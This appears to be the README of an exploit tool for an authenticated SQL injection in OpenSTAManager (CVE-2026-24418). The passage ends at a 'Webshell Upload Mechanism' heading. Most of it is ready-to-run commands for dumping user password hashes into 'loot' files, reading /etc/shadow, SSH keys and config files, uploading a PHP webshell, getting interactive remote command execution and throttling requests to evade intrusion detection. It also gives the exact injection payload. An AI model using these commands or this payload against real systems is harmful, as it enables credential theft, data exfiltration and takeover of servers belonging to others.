CVE-2026-24418

OpenSTAManager <= 2.9.8 — Error-Based SQL Injection in Scadenzario Bulk Operations Module

Overview

Field	Details
CVE ID	CVE-2026-24418
Severity	HIGH (8.8)
CWE	CWE-89: SQL Injection
Affected Versions	OpenSTAManager <= 2.9.8
Vulnerable Parameter	id_records[] (POST array)
Vulnerable Endpoint	/actions.php?id_module=18
Attack Type	Error-Based SQL Injection (EXTRACTVALUE)
Authentication	Required (any valid user account)

Vulnerability Details

OpenSTAManager v2.9.8 and earlier versions contain a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module. The application fails to validate that elements of the id_records[] array are integers before using them in an SQL IN() clause, allowing authenticated attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.

Root Cause

1. Entry Point — /actions.php receives id_records[] via POST
2. Insufficient Sanitization — array_clean() only removes empty values, does NOT validate data types
3. Injection Point — /modules/scadenzario/bulk.php passes unsanitized values directly into a SQL IN() clause
4. Data Exfiltration — EXTRACTVALUE/UPDATEXML error messages leak query results

Features

Feature	Description
--info	Database server fingerprinting (version, user, hostname, OS, paths)
--privs	MySQL privilege enumeration (FILE, SUPER, PROCESS)
--users	Full credential dump from zz_users with auto hash export
--dbs	Enumerate all accessible databases
--tables	List tables with row counts
--columns	List columns with types and nullable info
--dump	Data exfiltration from any table/column
--sql	Custom SQL query execution
--file-read	Read server files via LOAD_FILE() (/etc/passwd, config files, SSH keys)
--file-read-hex	HEX-encoded file read to bypass filters
--webshell	Upload PHP webshell via INTO DUMPFILE
--rce	Interactive command execution via uploaded webshell
-o / --output	Save all results to JSON, CSV, and hashcat/john formats
--proxy	HTTP proxy support (Burp Suite)
--delay	Request throttling for IDS/WAF evasion

Installation

git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests

Usage

Authentication

# Login with credentials
python3 exploit.py -t http://target.com -u admin -p password --info

# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info

Reconnaissance

# Database info + privileges + user credentials
python3 exploit.py -t http://target.com -u admin -p secret --all

# Check MySQL privileges (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs

Credential Extraction

# Dump users and auto-export hashes
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot

# Output files:
#   ./loot/users.json          - Full user data
#   ./loot/users.csv           - CSV format
#   ./loot/hashes_hashcat.txt  - Hashcat format (mode 3200)
#   ./loot/hashes_john.txt     - John format (user:hash)

Database Enumeration

# List all databases
python3 exploit.py -t http://target.com -u admin -p secret --dbs

# List tables in a specific database
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager

# List columns of a table
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users

# Dump specific columns with row limit
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10

File Read (LFI via SQL)

# Read /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd

# Read application config (database credentials)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php

# Read SSH keys
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa

# HEX mode (bypass character filters)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow

Remote Code Execution

# Upload webshell (auto-detects webroot)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Upload webshell with specific webroot
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html

# Interactive shell session
python3 exploit.py -t http://target.com -u admin -p secret --rce

# RCE will auto-upload webshell if none exists

Output & Reporting

# Save everything to a directory
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot

# Generated files:
#   db_info.json, privileges.json, users.json, users.csv,
#   hashes_hashcat.txt, hashes_john.txt

Network Options

# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080

# With request delay (2 seconds between requests)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2

# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --info -k

Full Option Reference

Target:
  -t, --target           Target base URL

Authentication:
  -u, --user             Username for login
  -p, --password         Password for login
  -c, --cookie           Existing PHPSESSID value

Enumeration:
  -D, --database         Target database name
  -T, --table            Target table name
  -C, --columns-list     Columns to dump (comma-separated)
  --limit                Row limit for dumps

Actions:
  --info                 Database server information
  --users                Dump zz_users credentials
  --dbs                  Enumerate databases
  --tables               List tables
  --columns              List columns (requires -T)
  --dump                 Dump data (requires -T and -C)
  --sql QUERY            Custom SQL query
  --all                  Run --info + --privs + --users
  --privs                Check MySQL privileges

File Operations:
  --file-read PATH       Read file via LOAD_FILE()
  --file-read-hex PATH   Read file via HEX encoding

Remote Code Execution:
  --webshell             Upload PHP webshell
  --webroot PATH         Webroot path for shell upload
  --rce                  Interactive command execution

Output:
  -o, --output DIR       Save results to directory

Network:
  -m, --module-id        Module ID (default: 18)
  --proxy                HTTP proxy URL
  -k, --no-ssl-verify    Disable SSL verification
  --delay                Request delay in seconds

Technical Details

Payload Structure

id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#

EXTRACTVALUE Character Limit

MySQL's EXTRACTVALUE() returns max ~32 characters via XPATH errors. The tool automatically chunks long results using SUBSTRING():

SUBSTRING((<query>), 1, 31)    -- Chunk 1
SUBSTRING((<query>), 32, 31)   -- Chunk 2
...

Webshell Upload Mechanism